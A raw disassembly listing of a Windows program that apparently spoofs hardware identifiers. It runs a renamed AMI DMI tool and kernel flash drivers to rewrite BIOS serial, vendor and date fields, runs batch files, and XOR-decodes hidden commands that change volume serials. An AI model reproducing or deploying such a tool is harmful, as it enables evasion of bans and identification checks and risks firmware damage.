mov qword [rbp - 0x71], rbx
mov r8d, reloc.WS2_32.dll_gethostname
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__CM_ASUSTeK_COMPUTER_INC.
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.Spoofing_Progress4...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_60
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__SS_System_Serial_Number
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, Ordinal_27
lea rdx, str.Spoofing_System_Serial...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_46
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__ID_2022_01_07
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.Spoofing_DateID...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, 0x3d
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__IVN_American_Megatrends_Inc.
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.Spoofing_Progress5...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_33
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.Spoofing_Progress5...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_27
lea rdx, str.C:WindowsINFBITS_ssd.bat
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.Spoofing_Fldrv...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_35
lea rdx, str.C:WindowsINFBITS_amifldrv64.sys
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.Spoofing_Fldrv...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_35
lea rdx, str.C:WindowsINFBITS_amigendrv64.sys
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.Spoofing_Fldrv...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_27
lea rdx, str.C:WindowsINFBITS_axt.bat
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.System_Spoofed_
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.System_Spoofed_
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.cd_C:WindowsINFBITS_
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.Spoofing_attemp...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aa8b0]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa8c0]
movups xmmword [rbp - 0x41], xmm1
movzx eax, byte [0x1400aa8d0]
mov byte [rbp - 0x31], al
mov r8d, ebx
cmp r14d, 2
jl 0x14000eba3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000eab0
cmp r8d, 0x21
jge 0x14000ebe3
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14000ebb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000ec00
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.Spoofing_Volume...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aa8d8]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa8e8]
movups xmmword [rbp - 0x41], xmm1
mov eax, dword [0x1400aa8f8]
mov dword [rbp - 0x31], eax
movzx eax, word [0x1400aa8fc]
mov word [rbp - 0x2d], ax
mov r8d, ebx
cmp r14d, 2
jl 0x14000edb3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000ecc0
cmp r8d, 0x26
jge 0x14000edf3
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14000edc0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000ee10
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.Spoofing_Volume...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aa900]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa910]
movups xmmword [rbp - 0x41], xmm1
movsd xmm0, qword [0x1400aa920]
movsd qword [rbp - 0x31], xmm0
movzx eax, byte [0x1400aa928]
mov byte [rbp - 0x29], al
mov r8d, ebx
cmp r14d, 2
jl 0x14000efc3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000eed0
cmp r8d, 0x29
jge 0x14000f003
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x14000efd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f020
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.Spoofing_Volume...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aa930]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa940]
movups xmmword [rbp - 0x41], xmm1
mov eax, dword [0x1400aa950]
mov dword [rbp - 0x31], eax
movzx eax, word [0x1400aa954]
mov word [rbp - 0x2d], ax
mov r8d, ebx
cmp r14d, 2
jl 0x14000f1d3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000f0e0
cmp r8d, 0x26
jge 0x14000f213
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14000f1e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f230
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.Spoofing_Volume...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aa958]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa968]
movups xmmword [rbp - 0x41], xmm1
mov eax, dword [0x1400aa978]
mov dword [rbp - 0x31], eax
movzx eax, byte [0x1400aa97c]
mov byte [rbp - 0x2d], al
mov r8d, ebx
cmp r14d, 2
jl 0x14000f3d4
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000f2e1
cmp r8d, 0x25
jge 0x14000f413
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14000f3e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f430
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.Spoofing_Volume...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aa980]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa990]
movups xmmword [rbp - 0x41], xmm1
movsd xmm0, qword [0x1400aa9a0]
movsd qword [rbp - 0x31], xmm0
cmp r14d, 2
jl 0x14000f5cd
mov edx, ebx
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov r8d, dword [rsp + 0x30]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x14000f4e0
jmp 0x14000f613
lea r9, [rbp - 0x51]
mov r8d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x14000f5e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f630
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.Spoofing_Volume...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aa9a8]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa9b8]
movups xmmword [rbp - 0x41], xmm1
movsd xmm0, qword [0x1400aa9c8]
movsd qword [rbp - 0x31], xmm0
movzx eax, byte [0x1400aa9d0]
mov byte [rbp - 0x29], al
mov r8d, ebx
cmp r14d, 2
jl 0x14000f7e3
